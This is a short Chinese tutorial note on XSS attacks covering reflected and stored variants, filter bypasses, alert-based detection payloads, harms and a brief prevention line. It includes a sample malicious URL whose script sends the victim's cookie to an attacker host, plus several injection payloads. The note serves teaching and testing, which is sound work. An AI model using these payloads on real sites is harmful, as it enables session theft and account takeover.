跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
外部:XSS Reflection 攻击
同样是输入验证不完善。
攻击者需要引诱受害者点击包含脚本命令的url连接。
攻击发送一个恶意链接
http://site:com/test?input=<script>var i=new Image;+i=src="http://attacker.com/get?"+document.cookie</ script>
用户在site.com站点访问,点击恶意链接后,访问攻击者站点并提交了在site.com站点的cookie信息。攻击者在自己站点的get方法里处理得到的cookie即可。
不严格的过滤可以绕过。
<SCRIPT></ SCRIPT> <ScRiPt>< /ScRiPt> %3cScRiPt%3e %3c/ ScRiPt%3e
html字符集 &
十进制编码 &#
十六进制 &#x
alert(/xss/);
java	script
内部:stored XSS 攻击
网页没有对用户输入很多的过滤,利用程序自身的漏洞,构造跨站语句导致XSS被存贮在Web Server上。
浏览皆可中招。如MySpace XSS蠕虫
检测方法
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" οnerrοr="alert('XSS')">
<div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)
危害
盗用 cookie ,获取敏感信息。
利用 frame、XMLHttpRequest等方式,使受害者执行一些如发微博、加好友、修改个人资料等操作。
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
利用 frame、XMLHttpRequest等方式,使受害者执行一些如发微博、加好友、修改个人资料等操作。
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
预防
对输入escape一下